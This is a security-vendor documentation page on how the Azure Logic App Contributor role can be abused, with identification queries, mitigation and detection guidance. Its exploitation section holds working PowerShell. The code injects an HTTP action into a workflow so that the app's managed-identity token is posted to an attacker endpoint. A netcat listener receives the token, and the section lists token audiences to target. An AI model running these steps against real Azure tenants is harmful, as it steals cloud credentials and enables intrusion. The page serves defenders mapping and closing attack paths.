> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_logic_app_contributor.md).

# AZ\_LOGIC\_APP\_CONTRIBUTOR

## Summary

| Attribute                  | Value                                                                                                                                    |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AZ\_LOGIC\_APP\_CONTRIBUTOR                                                                                                              |
| **Azure Alias**            | Logic App Contributor / Logic Apps Standard Contributor (Azure RBAC)                                                                     |
| **Affected Object Types**  | Logic Apps (Consumption and Standard; exploitation walkthrough covers Consumption workflows)                                             |
| **Exploitation Certainty** | Certain                                                                                                                                  |
| **Azure RBAC Roles**       | Logic App Contributor (`87a39d53-fc1b-424a-814c-f7e04687dc9e`), Logic Apps Standard Contributor (`ad710c24-b039-4e85-a019-deb4a06e8570`) |

**Custom Role Actions:**

* `Microsoft.Logic/workflows/*`
* `Microsoft.Web/sites/*` (for Standard Logic Apps)

## Description

`AZ_LOGIC_APP_CONTRIBUTOR` represents roles that grant full control over Azure Logic Apps. This enables:

* **Create/modify workflows** - inject malicious actions into Logic App workflows.
* **Trigger workflow runs** - execute modified workflows.
* **Access workflow outputs** - read data processed by the Logic App.
* **Abuse managed identity** - execute actions under the Logic App's identity.

Logic Apps often have:

* **Managed identities** with permissions to other Azure resources.
* **Connections** to external services (Office 365, Salesforce, databases).
* **Access to sensitive data** flowing through integrations.

The attack pattern involves modifying a workflow to add actions that:

1. Steal the managed identity token.
2. Exfiltrate data to attacker-controlled endpoints.
3. Execute unauthorized operations in connected services.

| Logic App Type | Key Abuse Vector                                                                                                                                                                                                                                                                                                                                                                                   |
| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Consumption    | Modify workflow JSON, trigger runs                                                                                                                                                                                                                                                                                                                                                                 |
| Standard       | Control App Service-backed Logic App resources and app settings; see [AZ\_EXECUTE\_COMMAND Web App Execute Command](https://gitlab.com/forestall/fsprotect-knowledge-base/-/tree/gitbook/edges/AZ_EXECUTE_COMMAND/README.md#azwebapp---app-services--function-apps) and [AZ\_WEBSITE\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_website_contributor) for related abuse paths |

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List Logic App Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Logic App Contributor" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List Logic Apps Standard Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Logic Apps Standard Contributor" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List all Logic Apps (Consumption)
Get-AzLogicApp | Select-Object Name, ResourceGroupName, State

# List all Logic Apps (Standard)
Get-AzResource -ResourceType "Microsoft.Web/sites" |
    Where-Object { $_.Kind -like "*workflowapp*" } |
    Select-Object Name, ResourceGroupName, Location

# Check a Consumption Logic App's managed identity
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
$la.Identity

# Check a Standard Logic App's managed identity
$standardLa = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<LogicAppStandardName>"
$standardLa.Identity
```

### Azure CLI

```bash
# List Logic App Contributor assignments
az role assignment list --role "Logic App Contributor" -o table

# List Logic Apps Standard Contributor assignments
az role assignment list --role "Logic Apps Standard Contributor" -o table

# List Logic Apps (Consumption)
az logic workflow list -o table

# List Logic Apps (Standard)
az resource list --resource-type "Microsoft.Web/sites" --query "[?contains(kind, 'workflowapp')].{name:name, resourceGroup:resourceGroup, location:location, kind:kind}" -o table

# Check Consumption Logic App managed identity
az resource show --resource-type "Microsoft.Logic/workflows" --resource-group "<RGName>" --name "<LogicAppName>" --query "identity"

# Check Standard Logic App managed identity
az webapp identity show --resource-group "<RGName>" --name "<LogicAppStandardName>"
```

### Azure Portal

1. Open **Azure Portal** -> **Logic Apps**.
2. Select the target Logic App -> **Access control (IAM)** -> **Role assignments**.
3. Check **Identity** blade for managed identity configuration.

## Exploitation

### Method 1: Steal Managed Identity JWT via HTTP POST (SpecterOps Technique)

This Consumption Logic App technique injects an HTTP action that POSTs to an attacker-controlled server with managed identity authentication enabled. When the workflow runs, Azure retrieves a JWT for the managed identity and includes it in the Authorization header of the request to your server. Standard Logic Apps are App Service-backed and require a separate App Service deployment or workflow modification path; see [AZ\_EXECUTE\_COMMAND Web App Execute Command](https://gitlab.com/forestall/fsprotect-knowledge-base/-/tree/gitbook/edges/AZ_EXECUTE_COMMAND/README.md#azwebapp---app-services--function-apps) and [AZ\_WEBSITE\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_website_contributor) for related Web App abuse techniques.

Reference: [SpecterOps - Managed Identity Attack Paths, Part 2: Logic Apps](https://medium.com/specter-ops-posts/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54)

**Step 1: Start a listener on your attacker server**

Option A: Direct server with public IP

```bash
# On attacker server (e.g., 159.223.206.196)
nc -lvnp 8000
```

Option B: Using ngrok (no public IP needed)

```bash
# Terminal 1: Start ngrok tunnel
ngrok tcp 8000
# Note the forwarding address, e.g.: tcp://7.tcp.eu.ngrok.io:11798

# Terminal 2: Start local listener
nc -lvnp 8000
```

Option C: Using webhook.site (no setup needed)

Go to <https://webhook.site> and copy your unique URL.

**Step 2: Inject the token-stealing action and HTTP trigger**

The Az module returns the Definition as a Newtonsoft `JObject`, so we must use JObject methods. This adds both an HTTP Request trigger (to invoke the workflow) and the malicious action:

```powershell
Connect-AzAccount

$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
$definition = $la.Definition

# Create HTTP Request trigger - allows invoking the workflow via HTTP POST
$triggerJson = @'
{
    "type": "Request",
    "kind": "Http",
    "inputs": {
        "schema": {}
    }
}
'@

# Create the malicious action - POSTs to attacker server WITH managed identity auth
# The JWT token will be sent in the Authorization header
# Replace the URI with your listener (ngrok, webhook.site, or direct IP)
$stealTokenJson = @'
{
    "type": "Http",
    "inputs": {
        "method": "POST",
        "uri": "http://<ATTACKER_ENDPOINT>/steal",
        "body": "token_exfil",
        "authentication": {
            "type": "ManagedServiceIdentity",
            "audience": "https://graph.microsoft.com/"
        }
    },
    "runAfter": {}
}
'@

$trigger = [Newtonsoft.Json.Linq.JObject]::Parse($triggerJson)
$stealAction = [Newtonsoft.Json.Linq.JObject]::Parse($stealTokenJson)

# Add HTTP Request trigger (named "manual")
if ($null -eq $definition["triggers"]) {
    $definition["triggers"] = [Newtonsoft.Json.Linq.JObject]::new()
}
$definition["triggers"]["manual"] = $trigger

# Add the malicious action
if ($null -eq $definition["actions"]) {
    $definition["actions"] = [Newtonsoft.Json.Linq.JObject]::new()
}
$definition["actions"]["Steal_MI_Token"] = $stealAction

# Update the Logic App
Set-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -Definition $definition -State Enabled -Force
```

![Inject the token-stealing action and HTTP trigger](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-8c042ea7e29db04d5d00c29d85013fe82a98027c%2Fazure-az_logic_app_contributor-make_web_request_to_get_managed_token.png?alt=media)

**Example URIs:**

* Direct IP: `http://159.223.206.196:8000/steal`
* Ngrok: `http://7.tcp.eu.ngrok.io:11798/steal`
* Webhook.site: `https://webhook.site/abc12345-...`

**Step 3: Trigger the workflow**

The HTTP Request trigger creates a callback URL with a SAS token. Use it to invoke the workflow:

```powershell
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"

# Get the callback URL (includes SAS token for authentication)
$callbackUrl = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -TriggerName "manual"

# Display the URL
$callbackUrl.Value

# Trigger the workflow - this executes all actions including our malicious one
Invoke-RestMethod -Uri $callbackUrl.Value -Method POST -ContentType "application/json" -Body "{}"
```

![Trigger the workflow](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-660f555e5862c7ab70098344539bf7af7a938e32%2Fazure-az_logic_app_contributor-trigger_the_web_request.png?alt=media)

**Step 4: Capture the token**

On your listener, you'll receive the HTTP POST with the JWT in the Authorization header:

```
POST /steal HTTP/1.1
Host: 7.tcp.eu.ngrok.io:11798
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik...
Content-Type: application/json
...
```

![Capture the token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-7b750aad004053c5a8f5ced58562af7436f517d7%2Fazure-az_logic_app_contributor-capture_the_token.png?alt=media)

Copy the token after `Bearer` .

**Token Audience Options:**

| Audience                        | Use Case                           |
| ------------------------------- | ---------------------------------- |
| `https://graph.microsoft.com/`  | MS Graph API (users, groups, apps) |
| `https://management.azure.com/` | Azure Resource Manager             |
| `https://vault.azure.net/`      | Key Vault secrets                  |
| `https://database.windows.net/` | Azure SQL                          |

The `audience` value in the injected HTTP action determines the token audience. Edit the `audience` field and re-run the workflow to capture a token for a different resource.

## Mitigation

1. **Minimize Logic App Contributor assignments**
   * Use **Logic App Operator** for running workflows without modification rights.
   * Scope assignments to specific Logic Apps.
2. **Apply least privilege to managed identities**
   * Logic App managed identities should have minimal required permissions.
3. **Secure API connections**
   * Regularly review and rotate API connection credentials.
   * Use managed identities for Azure connections where possible.
4. **Enable diagnostic logging**
   * Send workflow runs and trigger history to Log Analytics.
5. **Network isolation**
   * Use Integration Service Environments (ISE) or VNet integration for sensitive Logic Apps.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> **Logic Apps** -> Select the target Logic App.
2. Click **Logic app designer** or **Code view** to review workflow actions.
3. Look for suspicious HTTP actions, especially those with:
   * External URLs (non-Azure endpoints)
   * `authentication` blocks using `ManagedServiceIdentity`
4. Check **Overview** -> **Runs history** for unexpected workflow executions.
5. Review **Activity log** for `Set Workflow` operations indicating workflow modifications.

## References

* <https://medium.com/specter-ops-posts/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54>
* <https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#logic-app-contributor>
* <https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-securing-a-logic-app>
* <https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT303/>
